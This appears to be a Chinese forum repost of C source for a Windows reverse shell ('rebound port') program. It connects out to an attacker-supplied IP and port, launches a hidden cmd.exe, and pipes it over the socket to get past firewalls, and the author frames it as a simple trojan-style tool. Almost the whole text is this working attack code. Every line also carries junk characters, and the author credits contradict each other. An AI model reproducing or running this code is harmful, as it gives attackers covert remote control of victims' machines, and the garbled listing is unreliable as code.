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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Uw3wR!:  
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/* ============================== 6 lEv<)cC  
Rebound port in Windows NT vuJEPn%  
By wind,2006/7 AOV{@ b(  
===============================*/ _?I*:: I  
#include 34_ V&8  
#include 7lwFxP5QT  
) <w`:wD  
#pragma comment(lib,"wsock32.lib") XSh [#qJ  
&W `7 b<  
void OutputShell(); @s,kx.S  
SOCKET sClient; ''z]o#=^9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;!3: 3;  
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void main(int argc,char **argv) X_,R!$wbg:  
{ yGX5\PSo  
WSADATA stWsaData; Qz$nWsD  
int nRet; |S:erYE,G  
SOCKADDR_IN stSaiClient,stSaiServer; 53bVhPGv  
$}us+hGZ  
if(argc != 3) 5EECr \*  
{ P1Iy >%3  
printf("Useage:\n\rRebound DestIP DestPort\n"); N!-P2)@  
return; ~Ra8(KocD  
} # |OA>[  
6C ?,V3Z  
WSAStartup(MAKEWORD(2,2),&stWsaData); O]!o|w(  
j|XL$Q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q[+KQ,  
xjrL@LO#  
stSaiClient.sin_family = AF_INET; s |o(~2j  
stSaiClient.sin_port = htons(0); TWfk r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `9\^.g)  
4 DV,f2:R4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7fl{<uf  
{ LIyb+rH#yg  
printf("Bind Socket Failed!\n"); .4<lw  
return; PO:sF]5  
} qT#NS&T!-  
{V8uk $  
stSaiServer.sin_family = AF_INET; 38:5g_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rQ&XHG>Q*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \}YAQ'T  
bPV;"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $)6M@S  
{ o/=61K8D  
printf("Connect Error!"); S?c<Lf~W  
return; 3|EAOoWnK  
} 4C*0MV  
OutputShell(); - "{hP  
} P=s3&NDD  
4`Jf_C  
void OutputShell() ]8 <`&~a  
{ ZQ-6n1O  
char szBuff[1024]; x<.(fRv   
SECURITY_ATTRIBUTES stSecurityAttributes; ^}J,;Zhu5  
OSVERSIONINFO stOsversionInfo; .;(a;f+{;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #6pJw?[  
STARTUPINFO stStartupInfo; ,)VAKrSg  
char *szShell; h*3{IHAQ  
PROCESS_INFORMATION stProcessInformation; G+I->n-s4  
unsigned long lBytesRead; !:}m-iqQ1  
_c(h{dn  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %:OX^ ^i;  
XdnpL$0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E*s _Y  
stSecurityAttributes.lpSecurityDescriptor = 0; _p^Wc.[~M  
stSecurityAttributes.bInheritHandle = TRUE; _!w69>Nj  
J.O{+{&cd  
KJs`[,;<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j*d+WZm8-g  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LX=cx$K  
!HeQMz  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2~ vvE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c}H}fyu%n  
stStartupInfo.wShowWindow = SW_HIDE; QC6QqcOX  
stStartupInfo.hStdInput = hReadPipe;  D@]/%;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u('`.dwkc  
{z9z#8`C;  
GetVersionEx(&stOsversionInfo); o'Y/0hkh  
Fr2F&NN`D  
switch(stOsversionInfo.dwPlatformId) $ % B  
{ C]h_co2eI  
case 1: b~<:k\EE  
szShell = "command.com"; f>&*%[fw  
break; *<}R=X.  
default: %:sP#BQM  
szShell = "cmd.exe"; "_=t1UE  
break; ]K%d   
} ,?+uQXfXR  
+I}!)$/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $Yw~v36`t/  
8>xd  
send(sClient,szMsg,77,0); ,8cVv->u/  
while(1) Y@ vC!C  
{ aN!,\D  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,kl``w|1M  
if(lBytesRead) 0oqOX  
{ vJsg6oH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7$8DMBqq  
send(sClient,szBuff,lBytesRead,0); ZkNet>9  
} =-qYp0sVP  
else U r8JG&,  
{ k?1e + \  
lBytesRead=recv(sClient,szBuff,1024,0); z.OJ1vY7  
if(lBytesRead<=0) break; kL<HGQt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 90ov[|MkM  
} 7f<@+&  
} Ht@5@(W]I  
*qxv"PptX  
return; itcM-?  
}
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